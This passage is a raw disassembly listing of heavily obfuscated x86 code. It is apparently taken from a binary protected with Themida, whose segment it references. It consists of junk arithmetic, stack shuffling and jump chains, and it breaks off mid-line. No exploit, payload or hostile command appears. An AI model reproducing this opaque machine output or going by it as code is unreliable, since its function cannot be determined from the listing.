--------------------------------------------------------------------------- loc_566576: ; CODE XREF: sub_562ABA+1D77j add edx, 3B644136h jmp loc_568868 ; --------------------------------------------------------------------------- loc_566581: ; CODE XREF: sub_562ABA+6E0Fj not edi add edi, 47932146h jmp loc_55ED7C ; --------------------------------------------------------------------------- loc_56658E: ; CODE XREF: sub_562ABA+C373j add eax, ebx push dword ptr [esp+0] pop ebx add esp, 4 xchg eax, [esp+2Ah+var_2C+2] mov esp, [esp+2Ah+var_2C+2] add eax, 2 jmp loc_55E15A ; --------------------------------------------------------------------------- loc_5665A7: ; CODE XREF: sub_562ABA+5161j add ebp, esi pop esi add eax, ebp jmp loc_571A83 ; --------------------------------------------------------------------------- loc_5665B1: ; CODE XREF: sub_562ABA+AA43j pop eax xor ebp, 2C650DC9h sub ebp, 412D60ADh sub ebp, 0DD04C956h jmp loc_56A534 ; --------------------------------------------------------------------------- loc_5665C9: ; CODE XREF: sub_562ABA-3815j sub ebx, 0BD72B3Ch jmp sub_55E50D ; --------------------------------------------------------------------------- loc_5665D4: ; CODE XREF: sub_562ABA+B979j or eax, eax jz loc_56C255 push eax mov eax, esp push ebp jmp loc_570C91 ; --------------------------------------------------------------------------- loc_5665E5: ; CODE XREF: sub_562ABA+665Cj sub ebx, 28D408B0h push esi mov esi, 263E1AFAh or esi, 3DA64BB5h jmp loc_564178 ; --------------------------------------------------------------------------- loc_5665FC: ; CODE XREF: sub_561E53+43j mov eax, edi pop edi add eax, 474C448Bh xor eax, 11126C9Bh push ebx jmp loc_571B3F ; --------------------------------------------------------------------------- loc_56660F: ; CODE XREF: sub_562ABA-2E47j mov ecx, esp add ecx, 4 jmp loc_56743E ; --------------------------------------------------------------------------- loc_56661C: ; CODE XREF: sub_562ABA+5DE0j sub ebx, 28B41B88h or ecx, ebx jmp loc_569F4B ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_55E09F ; --------------------------------------------------------------------------- loc_566631: ; CODE XREF: sub_562ABA+5AFEj add edi, ebx pop ebx push [esp+14h+var_16+2] pop ecx push 3D86h mov [esp+18h+var_1A+2], edi jmp loc_56DBBE ; --------------------------------------------------------------------------- loc_566645: ; CODE XREF: sub_562ABA+1D08j add esp, 4 xchg ecx, [esp+6+var_8+2] jmp loc_56C9EA ; --------------------------------------------------------------------------- loc_566650: ; CODE XREF: sub_562ABA+6B7Ej push 5820h mov [esp+0Ah+var_C+2], ecx mov ecx, 20C9280Bh xchg ebp, ecx neg ebp xchg ebp, ecx jmp sub_55E502 ; --------------------------------------------------------------------------- loc_566668: ; CODE XREF: sub_562ABA-1216j pop [esp+36h+var_36] mov esp, [esp+32h+var_32] sub esp, 4 jmp loc_56FD85 ; --------------------------------------------------------------------------- loc_566676: ; CODE XREF: sub_562ABA+DCAAj pop ecx jmp loc_56270D ; --------------------------------------------------------------------------- loc_56667C: ; CODE XREF: sub_562ABA+679Aj pop ebp pop dword ptr [esp+0] pop esp add esp, 4 shr eax, 0Eh xor eax, ecx sub esp, 4 mov [esp+26h+var_28+2], eax jmp loc_56E15D ; --------------------------------------------------------------------------- neg [esp+26h+var_28+2] pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5666A0: ; CODE XREF: sub_562ABA+8AE2j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+2Ah+var_2C+2] pop esp jmp loc_55E6C2 ; --------------------------------------------------------------------------- loc_5666B4: ; CODE XREF: sub_562ABA-430j sub ebx, eax push 1A50h jmp loc_569FCE ; --------------------------------------------------------------------------- loc_5666C0: ; CODE XREF: sub_562ABA+8FD1j pop eax sub ebx, 4A265491h jmp loc_56C2B2 ; --------------------------------------------------------------------------- loc_5666CC: ; CODE XREF: sub_562ABA+45A5j mov [esp-0Ah+arg_4+2], edx mov edx, esp jmp loc_56F1FF ; --------------------------------------------------------------------------- loc_5666D6: ; CODE XREF: sub_562ABA-16A1j neg ecx shr ecx, 2 jmp loc_563174 ; --------------------------------------------------------------------------- loc_5666E0: ; CODE XREF: sub_562ABA+E68Fj sub ah, 37h jmp loc_56F338 ; --------------------------------------------------------------------------- loc_5666E8: ; CODE XREF: sub_562ABA+AA9Ej pop esi jmp loc_56F963 ; --------------------------------------------------------------------------- loc_5666EE: ; CODE XREF: sub_562ABA+A8Ej xor [esp+36h+var_36], eax jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5666F6: ; CODE XREF: sub_562ABA+E39Aj mov esi, 713F23FFh not esi and esi, 256F2FE7h inc esi jmp loc_571C34 ; --------------------------------------------------------------------------- loc_566709: ; CODE XREF: sub_562ABA+11F5j pop [esp+32h+var_32] mov esp, [esp+0] push 189Ah mov [esp+32h+var_32], ecx jmp loc_56523E ; --------------------------------------------------------------------------- loc_56671C: ; CODE XREF: sub_562ABA+C1BFj push [esp+32h+var_32] jmp loc_5635A6 ; --------------------------------------------------------------------------- loc_566724: ; CODE XREF: sub_562ABA+1D8Aj pop eax push ecx mov ecx, 2AF655BBh jmp loc_5669CF ; --------------------------------------------------------------------------- loc_566730: ; CODE XREF: sub_562ABA+DAC2j mov edx, esp add edx, 4 jmp loc_56639D ; --------------------------------------------------------------------------- loc_56673D: ; CODE XREF: sub_562ABA+819Dj and edi, 5C816239h jmp loc_56CBB6 ; --------------------------------------------------------------------------- loc_566748: ; CODE XREF: sub_562ABA-210Aj mul cl movzx cx, ah jmp loc_56D8BE ; --------------------------------------------------------------------------- loc_566753: ; CODE XREF: sub_562ABA+7698j pop ebx jmp loc_55F1BC ; --------------------------------------------------------------------------- loc_566759: ; CODE XREF: sub_562ABA+FE92j push cx pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_566761: ; CODE XREF: sub_562ABA+99D0j sub bl, 3Ch dec bl sub bl, 0E5h jmp loc_56736E ; --------------------------------------------------------------------------- loc_56676E: ; CODE XREF: sub_562ABA+BAB0j sub ebp, 4 jmp loc_56AA9F ; --------------------------------------------------------------------------- loc_566779: ; CODE XREF: sub_562ABA+5F2j mov edi, 20E109Fh shr edi, 6 add edi, 49B24DF9h sub edi, 6B53335Bh jmp loc_56D89E ; --------------------------------------------------------------------------- loc_566792: ; CODE XREF: sub_562ABA+8424j pop ecx pop ebp push eax mov eax, 2 jmp loc_56773C ; --------------------------------------------------------------------------- loc_56679F: ; CODE XREF: sub_562ABA+EC1j mov eax, esp jmp loc_56B8C1 ; --------------------------------------------------------------------------- loc_5667A6: ; CODE XREF: sub_562ABA+1202j pop esi jmp loc_564A45 ; --------------------------------------------------------------------------- loc_5667AC: ; CODE XREF: sub_562ABA+F330j mov edi, [esp+0] add esp, 4 sub esp, 4 jmp loc_56ADDD ; --------------------------------------------------------------------------- loc_5667BA: ; CODE XREF: sub_562ABA-3004j pop esp push esp pop [esp+12h+var_12] push esi jmp loc_563F4E ; --------------------------------------------------------------------------- loc_5667C5: ; CODE XREF: sub_562ABA+68B1j add esi, 4 jmp loc_56B110 ; --------------------------------------------------------------------------- loc_5667CD: ; CODE XREF: sub_562ABA+2DFFj sub ecx, edx jmp loc_5695CD ; --------------------------------------------------------------------------- loc_5667D4: ; CODE XREF: sub_562ABA+1F45j mov edi, 4BC011C4h jmp loc_56088F ; --------------------------------------------------------------------------- loc_5667DE: ; CODE XREF: sub_562ABA+E980j push 107Bh jmp loc_565616 ; --------------------------------------------------------------------------- loc_5667E8: ; CODE XREF: sub_562ABA+9F33j cmp cl, al pushf jmp loc_572AFA ; --------------------------------------------------------------------------- loc_5667F0: ; CODE XREF: sub_562ABA+6084j neg ebx not ebx sub esp, 4 jmp loc_5618EA ; --------------------------------------------------------------------------- loc_5667FC: ; CODE XREF: sub_562ABA-E8Bj mov eax, [esp+10h+var_12+2] add esp, 4 add al, 0B3h sub al, bl sub al, 0B3h mov bx, word ptr [esp+0Ch+var_C] push 6F3h mov [esp+10h+var_12+2], edi mov edi, esp push ebp mov ebp, 261744B5h sub ebp, 261744B1h add edi, ebp pop ebp jmp loc_55EC75 ; --------------------------------------------------------------------------- loc_56682D: ; CODE XREF: sub_562ABA+CE48j push 5FB85CBFh pop eax shr eax, 7 sub eax, 5334415Ch dec eax xor eax, 97120D04h mov ecx, eax pop eax and ebp, ecx pop ecx jmp loc_571921 ; --------------------------------------------------------------------------- loc_56684C: ; CODE XREF: sub_562ABA+EE62j pop esi push ebx jmp loc_563126 ; --------------------------------------------------------------------------- loc_566853: ; CODE XREF: sub_562ABA+6A46j add esp, 4 push ecx mov ecx, 24h add ecx, edi add [ecx], edx jmp loc_56D0ED ; --------------------------------------------------------------------------- loc_566868: ; CODE XREF: sub_562ABA+680Ej pop esp sub esp, 4 mov [esp+8+var_8], ebp push ebx mov ebx, 26985127h sub esp, 4 mov [esp+10h+var_12+2], ebx add [esp+10h+var_12+2], 1FA125A9h pop ebp sub esp, 4 mov [esp+10h+var_12+2], eax jmp loc_57244A ; --------------------------------------------------------------------------- loc_566897: ; CODE XREF: sub_562ABA-3485j or esi, 19C71CDDh push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+2Ah+var_2C+2] pop esp mov [esp+26h+var_28+2], edi mov edi, 1 add esi, edi pop edi dec esi dec esi jmp loc_569BD7 ; --------------------------------------------------------------------------- loc_5668BF: ; CODE XREF: sub_562ABA+2F04j add ebp, ecx add ebp, 18A01FC5h jmp loc_56158C ; --------------------------------------------------------------------------- loc_5668CC: ; CODE XREF: sub_562ABA+2280j push 4D92h jmp loc_567FAC ; --------------------------------------------------------------------------- loc_5668D6: ; CODE XREF: sub_562ABA+CF4Dj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+32h+var_32] pop esp mov [esp+0], edx push [esp+2Eh+var_2C+2] push [esp+32h+var_32] pop edx push edx push 4B09h mov [esp+3Ah+var_3A], esp add [esp+3Ah+var_3A], 4 pop edx push ecx mov ecx, 26A83C91h neg ecx or ecx, 79A2639Ch sub ecx, 7C9F06F9h dec ecx xchg edx, ecx neg edx xchg edx, ecx jmp loc_567E2C ; --------------------------------------------------------------------------- loc_56691E: ; CODE XREF: sub_562ABA+1A1Aj push edx mov edx, 49F07FB8h add eax, edx pop edx add eax, 25E66D3Bh pop edi add eax, 4 jmp loc_56D3D7 ; --------------------------------------------------------------------------- loc_566937: ; CODE XREF: sub_562ABA-20B0j mov [esp+1Ah+var_1A], ecx push esi mov esi, 42B1551Bh xor esi, 30E65BC4h push edx mov edx, 1FF30CABh shr edx, 6 inc edx sub edx, 0F7FAB7D8h and esi, edx pop edx jmp loc_565C40 ; --------------------------------------------------------------------------- loc_56695E: ; CODE XREF: sub_562ABA+9E6Aj mov esp, [esp+1Eh+var_1E] inc word ptr [esp+1Eh+var_1E] pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56696B: ; CODE XREF: sub_562ABA-1DA0j push esp jmp loc_567813 ; --------------------------------------------------------------------------- loc_566971: ; CODE XREF: sub_562ABA+FB6Fj mov bh, dh pop edx mov ecx, [esp-0Ah+arg_4+2] push edi mov edi, esp add edi, 4 push ebp mov ebp, 4 add edi, ebp jmp loc_5650E4 ; --------------------------------------------------------------------------- loc_56698D: ; CODE XREF: sub_562ABA+BC2Cj dec eax sub esp, 4 mov [esp+2+var_4+2], ebx mov ebx, 3BC04F60h and eax, ebx jmp loc_56D0A9 ; --------------------------------------------------------------------------- loc_5669A3: ; CODE XREF: sub_562ABA+820Bj mov bl, 2Dh jmp loc_561F5F ; --------------------------------------------------------------------------- loc_5669AA: ; CODE XREF: sub_562ABA+F06Aj push [esp+2+var_4+2] mov ebx, [esp+6+var_8+2] add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 push esi push [esp+0Ah+var_8+2] mov esi, [esp+0] jmp loc_56106C ; --------------------------------------------------------------------------- loc_5669CF: ; CODE XREF: sub_562ABA+3C71j not ecx add ecx, 6F4E720Ah xor ebp, ecx pop ecx mov edi, ebp jmp loc_570931 ; --------------------------------------------------------------------------- loc_5669E1: ; CODE XREF: sub_562ABA+CB97j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5669E6: ; CODE XREF: sub_562ABA+D665j sub ebp, 0F3D5FDF2h jmp loc_56EF53 ; --------------------------------------------------------------------------- loc_5669F1: ; CODE XREF: sub_562ABA-551j shl eax, 6 sub eax, 0D177E47Ch add ecx, eax pop eax add ecx, 4 jmp loc_56F954 ; --------------------------------------------------------------------------- loc_566A07: ; CODE XREF: sub_562ABA+6B48j mov esp, [esp+0] push edx jmp loc_565BF9 ; --------------------------------------------------------------------------- loc_566A10: ; CODE XREF: sub_562ABA-3E74j pop ebp neg esi xor esi, 0B8B4E4D1h mov ebp, esi pop esi or ebp, 50927531h push 1601h mov [esp+22h+var_22], ebp dec [esp+22h+var_22] push [esp+22h+var_22] jmp loc_565176 ; --------------------------------------------------------------------------- loc_566A35: ; CODE XREF: sub_562ABA+2D1Fj add edx, ecx push edi mov edi, 12903EADh jmp loc_55F091 ; --------------------------------------------------------------------------- loc_566A42: ; CODE XREF: sub_562ABA+798Cj push ecx mov ecx, 1BA71369h push esi mov esi, 675A61CFh jmp loc_569D04 ; --------------------------------------------------------------------------- loc_566A53: ; CODE XREF: sub_562ABA+49Bj add dh, 73h sub bl, dh pop edx or bl, 9Bh add bl, 51h jmp loc_5696C2 ; --------------------------------------------------------------------------- loc_566A64: ; CODE XREF: sub_562ABA+832Ej add esp, 4 push [esp+0Ch+var_C] pop eax push 593Ch mov [esp+10h+var_12+2], eax mov eax, esp push ebx push ecx jmp loc_56B29D ; --------------------------------------------------------------------------- loc_566A7C: ; CODE XREF: sub_562ABA+37A1j dec ebp xor ebp, 76CF7ECEh sub ecx, 50FC3273h jmp loc_5622F9 ; --------------------------------------------------------------------------- loc_566A8E: ; CODE XREF: sub_562ABA+9B96j push ecx mov ecx, 71075A12h xor ecx, 30E41137h add ecx, 36064904h shl ecx, 8 not ecx and ecx, 1F60584Dh add ecx, 3A0D55B7h xor edi, ecx pop ecx push edi mov edi, 0F687206h and edi, 0D05B9Bh inc edi jmp loc_56A6D6 ; --------------------------------------------------------------------------- loc_566AC6: ; CODE XREF: sub_562ABA+1AC6j pop ecx sub esi, 50902228h add esi, ebx add esi, 50902228h pop ebx add esi, eax push eax push esi mov esi, 795D069Eh jmp loc_5627D9 ; --------------------------------------------------------------------------- loc_566AE4: ; CODE XREF: sub_562ABA-41C0j push ebp mov ebp, 68092302h jmp loc_561558 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+0Ch+var_C] jmp loc_565D78 ; --------------------------------------------------------------------------- lodsd cmp dword ptr [edi+20h], 0 jz loc_56A825 push eax push esi push ebp push 5E9F2128h pop ebp not ebp shr ebp, 7 not ebp sub ebp, 9E48C95Bh mov esi, ebp mov ebp, [esp+18h+var_1A+2] add esp, 4 jmp loc_56937D ; --------------------------------------------------------------------------- loc_566B29: ; CODE XREF: sub_562ABA+89E5j add ecx, 0BEEBE959h mov ebp, ecx pop ecx sub ecx, 4B0050E6h add ecx, ebp add ecx, 4B0050E6h jmp loc_5640AF ; --------------------------------------------------------------------------- loc_566B45: ; CODE XREF: sub_562ABA+CE5Fj pop ecx xor cl, ah mov ax, word ptr [esp+0Ch+var_C] jmp loc_571890 ; --------------------------------------------------------------------------- loc_566B51: ; CODE XREF: sub_562ABA+929j mov esp, [esp+0] shl eax, cl push 101Fh jmp loc_5643C0 ; --------------------------------------------------------------------------- loc_566B60: ; CODE XREF: sub_562ABA+6174j mov [esp+32h+var_32], ebp push esp mov ebp, [esp+36h+var_36] push 0CB3h jmp loc_56A2BD ; --------------------------------------------------------------------------- loc_566B71: ; CODE XREF: sub_562ABA+CBF8j sub esp, 4 jmp loc_5723DE ; --------------------------------------------------------------------------- loc_566B7C: ; CODE XREF: sub_562ABA+E944j mov ebp, [esp+3Eh+var_3E] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_56F870 ; --------------------------------------------------------------------------- loc_566B90: ; CODE XREF: sub_562ABA+AC49j xor dh, 0AFh and ah, dh jmp loc_56F8E0 ; --------------------------------------------------------------------------- loc_566B9A: ; CODE XREF: sub_562ABA+349Aj add esp, 4 xor esi, eax mov eax, [esp+12h+var_12] add esp, 4 push edi mov edi, 1 add esi, edi pop edi dec esi add esi, 0A540DEA9h push edx jmp loc_567CB1 ; --------------------------------------------------------------------------- loc_566BBB: ; CODE XREF: sub_562ABA-32D8j mov edx, eax pop eax jmp loc_56964C ; --------------------------------------------------------------------------- loc_566BC3: ; CODE XREF: sub_562ABA+9E0Aj push 4799h mov [esp+1Eh+var_1E], edi mov edi, 2FE44AC9h jmp loc_561762 ; --------------------------------------------------------------------------- loc_566BD5: ; CODE XREF: sub_562ABA-28A1j mov edx, 19433B37h inc edx dec edx sub edx, 0F2E809F9h jmp loc_5631BF ; --------------------------------------------------------------------------- loc_566BE7: ; CODE XREF: sub_562ABA+276Cj sub esp, 4 mov [esp+3Ah+var_3A], ebp push 1CE5h jmp loc_568491 ; --------------------------------------------------------------------------- loc_566BF7: ; CODE XREF: sub_562ABA-3FFDj sub esp, 4 mov [esp+0], ebp mov ebp, 7BB95FBDh jmp loc_56EFE7 ; --------------------------------------------------------------------------- loc_566C0A: ; CODE XREF: sub_562ABA+AFj push ebx mov ebx, 5151761Ah sub ebx, 20175722h jmp loc_55E55B ; --------------------------------------------------------------------------- loc_566C1B: ; CODE XREF: sub_562ABA+58C7j add [esp+1Ah+var_16], edx mov edx, [esp+1Ah+var_1A] add esp, 4 push [esp+16h+var_16] mov eax, [esp+1Ah+var_1A] jmp loc_5704D4 ; --------------------------------------------------------------------------- loc_566C33: ; CODE XREF: sub_562ABA+E886j mov [esp+1Ah+var_1A], eax push esp pop eax jmp loc_56C769 ; --------------------------------------------------------------------------- loc_566C3D: ; CODE XREF: sub_562ABA+2593j add ecx, 4 sub ecx, 4 xchg ecx, [esp+1Eh+var_1E] mov esp, [esp+1Eh+var_1E] mov [esp+1Eh+var_1E], edx push ebx push eax mov eax, 2C940F50h jmp loc_56A982 ; --------------------------------------------------------------------------- loc_566C5E: ; CODE XREF: sub_562ABA+1B40j add esp, 4 mov esi, [esp+36h+var_36] add esp, 4 push ebx sub esp, 4 mov [esp+3Ah+var_3A], edx mov edx, 7E00CF5h jmp loc_570B0E ; --------------------------------------------------------------------------- loc_566C7B: ; CODE XREF: sub_562ABA+DD04j push ebp push [esp+3Eh+var_3A] mov ebp, [esp+42h+var_42] add esp, 4 jmp loc_561550 ; --------------------------------------------------------------------------- loc_566C8E: ; CODE XREF: sub_562ABA+24E3j add ebx, 57BC20DBh jmp loc_572951 ; --------------------------------------------------------------------------- loc_566C99: ; CODE XREF: sub_562ABA+45ADj mov [esp+16h+var_16], edi push ebp jmp loc_570CCA ; --------------------------------------------------------------------------- loc_566CA2: ; CODE XREF: sub_562ABA-1AAFj pop ebx jmp loc_571F0F ; --------------------------------------------------------------------------- loc_566CA8: ; CODE XREF: sub_562ABA-36Aj add edi, edx add edi, 786449EBh mov edx, [esp+6+var_8+2] add esp, 4 add edi, 2 jmp loc_566543 ; --------------------------------------------------------------------------- loc_566CC1: ; CODE XREF: sub_562ABA-1341j add ebx, 2FE44AC9h push edx jmp loc_562F5A ; --------------------------------------------------------------------------- loc_566CCD: ; CODE XREF: sub_562ABA+61F8j sub edx, 2D38598Bh pop ebx xchg edx, [esp+0] pop esp xor [esp+2Ah+var_2C+2], eax xor eax, [esp+2Ah+var_2C+2] xor [esp+2Ah+var_2C+2], eax jmp loc_55E09F ; --------------------------------------------------------------------------- loc_566CE6: ; CODE XREF: Themida_:00561817j pop eax push 3A5Ch mov [esp+2Ah+var_2C+2], ebp push 3A3Ch push 4E33h mov [esp+32h+var_32], esp push esi jmp loc_56B05F ; --------------------------------------------------------------------------- loc_566D02: ; CODE XREF: sub_562ABA-44C8j add esi, 4 xchg esi, [esp+46h+var_46] pop esp jmp loc_5645D3 ; --------------------------------------------------------------------------- loc_566D0E: ; CODE XREF: sub_55FCA5+149j dec ecx dec ecx jmp loc_5719B7 ; --------------------------------------------------------------------------- loc_566D15: ; CODE XREF: sub_562ABA+DCF0j sub eax, ebx jmp loc_55E0B7 ; --------------------------------------------------------------------------- loc_566D1C: ; CODE XREF: sub_562ABA+CAj push 46A21C84h pop ebp and ebp, 1A333345h shr ebp, 7 neg ebp jmp loc_56F10F ; --------------------------------------------------------------------------- loc_566D32: ; DATA XREF: Themida_:0055DFB0o push 602Ah mov [esp+1Ah+var_1A], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+1Ah+var_1A] mov esp, [esp+1Ah+var_1A] mov [esp+1Ah+var_1A], ecx mov ecx, 1CA42293h push ecx neg [esp+1Eh+var_1E] pop ecx xor ecx, 0E35BDD6Ch or [edi+1Ch], ecx push [esp+1Ah+var_1A] pop ecx push ebp push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp+1Eh+var_1E] jmp loc_55F750 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+1Eh+var_1E] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp+22h+var_22] xor [esp+22h+var_22], ebp xor ebp, [esp+22h+var_22] pop esp mov [esp+1Eh+var_1E], ebp push esp pop ebp push eax mov eax, 4 jmp loc_5725CD ; --------------------------------------------------------------------------- loc_566DA3: ; CODE XREF: sub_562ABA+5510j mov [esp+22h+var_22], ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55F826 ; --------------------------------------------------------------------------- loc_566DB9: ; CODE XREF: sub_562ABA+59C8j and bl, 0A5h add bl, 0Ah add bl, 0C0h sub bl, 0Fh or dh, bl pop ebx jmp loc_56BF4B ; --------------------------------------------------------------------------- loc_566DCD: ; CODE XREF: sub_562ABA-1228j mov [esp+32h+var_32], eax mov eax, 66281CA8h xchg eax, ebp not ebp jmp loc_563BD5 ; --------------------------------------------------------------------------- loc_566DDD: ; CODE XREF: sub_562ABA-1B71j mov ebx, 62457615h sub esp, 4 mov [esp+4Ch+var_4E+2], eax mov eax, 3C4624C0h push esi mov esi, 64344775h sub esi, 15A03907h shl esi, 4 push eax mov eax, 1A1A62C5h not eax shr eax, 2 neg eax inc eax sub eax, 3CAD3070h add eax, 9159F896h and esi, eax pop eax neg esi inc esi sub esi, 0F6FF9F42h add eax, esi pop esi push ebp mov ebp, 1B536499h push edi jmp loc_5655DD ; --------------------------------------------------------------------------- loc_566E32: ; CODE XREF: Themida_:005728E4j sub esp, 4 mov [esp+58h+var_5A+2], ebp jmp loc_56A1D4 ; --------------------------------------------------------------------------- loc_566E40: ; CODE XREF: sub_562ABA+9FAFj push edx jmp loc_56970F ; --------------------------------------------------------------------------- loc_566E46: ; CODE XREF: sub_562ABA+1BD1j sub edx, 79587C9Dh mov eax, [esp+4Ah+var_4A] push edi mov edi, esp add edi, 4 push esi jmp loc_563319 ; --------------------------------------------------------------------------- loc_566E5E: ; CODE XREF: sub_562ABA+4A6Bj push 7B3Dh mov [esp+56h+var_56], eax push eax jmp loc_56FA52 ; --------------------------------------------------------------------------- loc_566E6C: ; CODE XREF: sub_562ABA+6C3Cj pop edx mov dl, cl push [esp+56h+var_56] push [esp+5Ah+var_5A] pop ecx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+5Eh+var_5E] pop esp add esp, 4 add al, 86h jmp loc_56B2EA ; --------------------------------------------------------------------------- loc_566E96: ; CODE XREF: sub_562ABA+EE40j push [esp+56h+var_56] push [esp+5Ah+var_5A] push [esp+5Eh+var_5E] jmp loc_55FAF5 ; --------------------------------------------------------------------------- loc_566EA4: ; CODE XREF: sub_562ABA+1E2Dj xchg esi, [esp+2Ah+var_2C+2] pop esp sub eax, edx jmp loc_56C385 ; --------------------------------------------------------------------------- loc_566EAF: ; CODE XREF: sub_562ABA+2112j push eax push 2CA85648h jmp loc_565A6E ; --------------------------------------------------------------------------- loc_566EBA: ; CODE XREF: sub_562ABA-3252j pop ebp xor ecx, 0C786A49Dh push ecx pop ebp mov ecx, [esp+1Eh+var_1E] add esp, 4 sub ebx, 2DD13F42h sub ebx, 3BA87162h sub ebx, ebp add ebx, 3BA87162h add ebx, 2DD13F42h push [esp+1Ah+var_1A] pop ebp jmp loc_561480 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+1Ah+var_1A] push 479Eh mov [esp+1Eh+var_1E], esi jmp loc_563AF8 ; --------------------------------------------------------------------------- loc_566EFD: ; CODE XREF: sub_562ABA+AD3Bj xor al, bl push ecx mov ch, 0F8h push ebx push esp pop ebx push eax mov eax, 4 add ebx, eax pop eax sub ebx, 4 push ebx push [esp+2Ah+var_28+2] jmp loc_55F8C2 ; --------------------------------------------------------------------------- loc_566F1E: ; CODE XREF: sub_562ABA+C4A8j xor [esp+0], al pushf jmp loc_563309 ; --------------------------------------------------------------------------- loc_566F27: ; CODE XREF: sub_562ABA+C9B9j sub ecx, 58D11FCDh push eax mov eax, 551C3BDDh jmp loc_56319A ; --------------------------------------------------------------------------- loc_566F38: ; CODE XREF: sub_562ABA+24C5j add esp, 4 pop ebx push [esp+12h+var_12] pop edx add esp, 4 jmp loc_55E09F ; --------------------------------------------------------------------------- loc_566F4E: ; CODE XREF: sub_562ABA+8E02j push 53EFh jmp loc_56DCCA ; --------------------------------------------------------------------------- loc_566F58: ; CODE XREF: sub_562ABA-1567j pop esp mov [esp-16h+arg_10+2], ecx jmp loc_564E51 ; --------------------------------------------------------------------------- loc_566F61: ; CODE XREF: sub_562ABA+5896j push ebp jmp loc_56FFAC ; --------------------------------------------------------------------------- loc_566F67: ; CODE XREF: sub_562ABA-2F88j add ecx, 6DF2755Bh xor esi, ecx pop ecx push 494Eh mov [esp+16h+var_16], ebx mov ebx, 23141590h add edi, 23093FB9h sub edi, ebx sub edi, 23093FB9h push [esp+16h+var_16] pop ebx jmp loc_560F61 ; --------------------------------------------------------------------------- loc_566F94: ; CODE XREF: sub_562ABA+85F0j mov esp, [esp+16h+var_16] jmp loc_567F20 ; --------------------------------------------------------------------------- loc_566F9C: ; CODE XREF: sub_562ABA+956Aj push esp pop ebx push edx mov edx, 4 add ebx, 4CA3607Ch add ebx, edx sub ebx, 4CA3607Ch pop edx push esi push edi mov edi, 4 mov esi, edi pop edi sub ebx, esi mov esi, [esp+1Ah+var_1A] jmp loc_5708E5 ; --------------------------------------------------------------------------- loc_566FC7: ; CODE XREF: sub_562ABA-2513j push eax jmp loc_561729 ; --------------------------------------------------------------------------- loc_566FCD: ; CODE XREF: sub_562ABA+2F5Ej mov cl, 7Fh add cl, 15h jmp loc_5663DB ; --------------------------------------------------------------------------- loc_566FD7: ; CODE XREF: sub_562ABA+E308j mov ch, 61h add ch, ah pop eax mov dl, ch pop ecx jmp loc_568F0A ; --------------------------------------------------------------------------- loc_566FE4: ; CODE XREF: sub_562ABA+B7F0j push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_572AFF ; --------------------------------------------------------------------------- loc_566FF5: ; CODE XREF: sub_562ABA+6116j pop esi and eax, ecx pop ecx shr eax, 18h xor eax, ecx push 883h mov [esp+22h+var_22], eax push 18E4h mov [esp+26h+var_28+2], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+26h+var_28+2] pop esp mov [esp+22h+var_22], ecx jmp loc_5676B7 ; --------------------------------------------------------------------------- loc_567025: ; CODE XREF: sub_562ABA+7C72j add bl, 3 mov cx, word ptr [esp+22h+var_22] add esp, 2 jmp loc_56FB84 ; --------------------------------------------------------------------------- loc_567034: ; CODE XREF: sub_562ABA+4AADj add edi, 4 push 2B39h mov [esp+22h+var_22], esi push eax jmp loc_55F5F1 ; --------------------------------------------------------------------------- loc_567048: ; CODE XREF: sub_562ABA+F487j add ebx, 0A3D7BDA4h jmp loc_568CDD ; --------------------------------------------------------------------------- push [esp+26h+var_28+2] mov edx, [esp+2Ah+var_2C+2] sub esp, 4 jmp loc_5666CC ; --------------------------------------------------------------------------- loc_567064: ; CODE XREF: sub_562ABA+53C4j sub esp, 4 jmp loc_566C99 ; --------------------------------------------------------------------------- loc_56706C: ; CODE XREF: sub_562ABA+4EA4j push dword ptr [edi+eax*4] push eax jmp loc_56D232 ; --------------------------------------------------------------------------- loc_567075: ; CODE XREF: sub_562ABA+F011j add ebx, 4 xchg ebx, [esp+3Ah+var_3A] pop esp jmp loc_5677A1 ; --------------------------------------------------------------------------- loc_567081: ; CODE XREF: sub_562ABA-1324j sub edi, 362C69B0h jmp loc_55E676 ; --------------------------------------------------------------------------- loc_56708C: ; CODE XREF: sub_562ABA-733j and ch, 14h jmp loc_56E286 ; --------------------------------------------------------------------------- loc_567094: ; CODE XREF: sub_562ABA+993j mov esp, [esp+6+var_8+2] jmp loc_56076D ; --------------------------------------------------------------------------- loc_56709C: ; CODE XREF: sub_562ABA-1396j push esp mov edx, [esp+32h+var_32] push ebp mov ebp, esp push ebx jmp loc_560313 ; --------------------------------------------------------------------------- loc_5670A9: ; CODE XREF: sub_562ABA+6FB4j push eax mov eax, 5E6F4898h jmp loc_56A2CD ; --------------------------------------------------------------------------- loc_5670B4: ; CODE XREF: sub_562ABA+6F71j mov esp, [esp+3Eh+var_3E] mov [esp+3Eh+var_3E], edx jmp loc_56EA91 ; --------------------------------------------------------------------------- loc_5670BF: ; CODE XREF: sub_562ABA+BD81j sub ebx, 23A5666h sub ebx, esi push ebp mov ebp, 179A15AFh jmp loc_565DBA ; --------------------------------------------------------------------------- loc_5670D2: ; CODE XREF: sub_562ABA+844Fj xor ecx, 44E69041h add eax, ecx pop ecx push eax push [esp+42h+var_3E] pop eax jmp loc_568165 ; --------------------------------------------------------------------------- loc_5670E6: ; CODE XREF: sub_562ABA+3A7Cj add al, bl add al, 89h add al, 9Ch jmp loc_55E208 ; --------------------------------------------------------------------------- loc_5670F1: ; CODE XREF: 